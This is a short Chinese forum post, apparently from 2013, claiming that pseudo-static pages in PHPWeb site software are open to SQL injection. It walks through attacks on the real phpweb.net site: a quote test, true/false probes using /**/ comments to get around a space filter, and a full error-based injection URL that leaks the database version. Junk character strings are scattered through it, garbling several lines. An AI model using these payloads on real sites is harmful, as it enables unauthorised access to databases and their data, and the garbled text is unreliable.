phpweb所有的整站程序伪静态页面都存在sql注入
/ Q. a5 G E: v' O9 r; _# i( J$ |6 Z
主站：http://phpweb.net/
- O8 Z1 J* a1 c) w2 `加’检测：* n, L* G& [. }+ ~. a# K4 q
( v7 Q1 x! w2 Zhttp://www.phpweb.net/down/html/?772′.html
1 f7 R0 w" G O
$ R) e0 d8 H+ [5 R& C. @. @出错( F. T# U; i6 }3 {8 z" B* t
存在注入。
: w1 u! N& F0 C5 D8 ]不能用空格，只能用/*罗
% w% Z* U0 C n2 @8 e0 bhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
. D6 p+ E# r5 c/ _% G; |: G d # c5 c" e" V6 z) j$ A
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
9 R9 ]: ^+ r9 k. [# x* i爆数据库版本：: z& `9 V5 X, e6 J4 o4 U1 h
3 _8 o8 O7 q" b
?
# N. z+ |6 g3 w8 I& e& o1
* x. q; N6 O' ~9 R% v( Ehttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
8 I" J( Y0 d+ X+ a更新日期: 2013-01-03 13:39:50 0 X3 {" @4 _9 ?
|
发表于 2013-1-4 19:46:42
收藏
支持
反对